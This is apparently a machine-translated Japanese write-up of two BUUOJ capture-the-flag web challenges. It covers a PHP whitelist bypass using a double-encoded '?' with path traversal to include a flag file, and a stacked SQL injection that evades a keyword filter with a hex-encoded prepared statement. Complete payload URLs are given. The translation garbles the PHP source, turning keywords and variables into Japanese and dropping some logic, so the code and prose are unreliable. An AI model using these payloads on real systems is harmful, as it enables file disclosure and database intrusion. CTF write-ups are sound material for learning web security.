レコードに関するここでの高品質ブウのOJの試験問題
1.WarmUp
コード監査
ソースを表示調査結果source.phpとhint.phpを提案
source.php
<?PHPの highlight_file(__FILE__ )。 クラスemmm { パブリック 静的 関数 checkFile(&$ページ) { $ホワイトリスト = [ "ソース" => "source.php"、 "ヒント" => "hint.php" ]。 もし(!ISSET($ページ!)|| IS_STRING($ページ)){ エコー "あなたはそれを見ることができません" 。 返す 偽; 、$ホワイトリスト)){ 返す 真。 } $ _page = mb_substr( $ページ、 0、 mb_strpos($ページ、 '?' '?' ) ); もし(in_array($ _page、$ホワイトリスト)){ 返す 真。 } $ _page = urldecode($ページ)。 $ _page = mb_substr( $ _page、 0、 mb_strpos($ _page、 '?' '?' ) ); もし(in_array($ _page、$ホワイトリスト)){ 返す 真。 } エコー「あなたはそれを見ることができません」。 返す 偽; } } もし(!空($ _REQUEST [ 'ファイル' ]) && IS_STRING($ _REQUEST [ 'ファイル' ]) && emmm ::$ _REQUEST [ 'ファイル' ]) ){ 含む $ _REQUEST [ 'ファイル' ]。 終了; } 他{ エコー "<BR> <IMG SRC = \"のhttps://i.loli.net/2018/11/01/5bdb0d93dc794.jpgの\ "/>" ; } ?>
あなたはSUCTFのphpMyAdminのリモートファイルインクルージョンの脆弱性で問題と考えることができる場所にffffllllaaaagggg.phpにプロンプトフラグをヒント
次のように動作原理source.php checkfile関数であります
1. source.phpとhint.phpを含んでホワイトリストを定義
2.ページには、trueを返すかどうか、空の文字列に決定されます。
3.疑問符の前にデータのページ・パラメータは、ホワイトリスト中に存在するが、除去着信符号化された1つのページのURLの後にtrueを返した場合、入力は、ホワイトリストにあるか否かを判定する。
それは、パラメータを渡された場合はもちろん、サーバが自動的にエンコードされたURLを行います。だから、私たちの最も総ペイロードはhint.phpある?ページ= .. / .. / .. / .. / .. / .. / ffffllllaaaagggg 一度復号化がhint.phpなる前に?ページ=%3F ../ .. /../../ ffffllllaaaaggggは、その後、コードを通過しますfile=hint.php%253f/../../../../../../../../ffffllllaaaagggg
ペイロードます。http:?//web5.buuoj.cn/ファイル= hint.php%253F /../../../../ ffffllllaaaagggg
2.気軽にご注意
これは、元のタイトルの強力なネットワークのカップです。
テストに行きました
入力1「のエラー
入力1「または1 = 1#は正常に戻りました
よる...#2入力1」の順序が見つかりました。
1組合するpreg_matchを返す返り1,2,3,4#を選択します( "/選択|更新|削除|ドロップ|挿入|場所| \ ./ I"、$の注入);
他の一般的に使用される文字を選択し、更新をフィルタリングし、フィルタリングルールを参照してください。
新たに学習積み重ね注入
DESC構造ショーやテーブルを収集します。
1「;ショーのデータベース;#表示データベース
1「;ショーテーブル;#は、データシートを参照してください
クエリフィールドが続きます
1' ; ``表からショー列;#
TABLE_NAMEを区別するためにここにいるので、ここで表には、抗引用符を追加します
フラグフィールドを探します
そこここでSUBSTRので、方法は、ケースをバイパスする:ペイロードます。http:= 1%27を噴射//web16.buuoj.cn/、セットする@ A = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;調製%20execsql%20from @ 20%、実行? %20execsql;#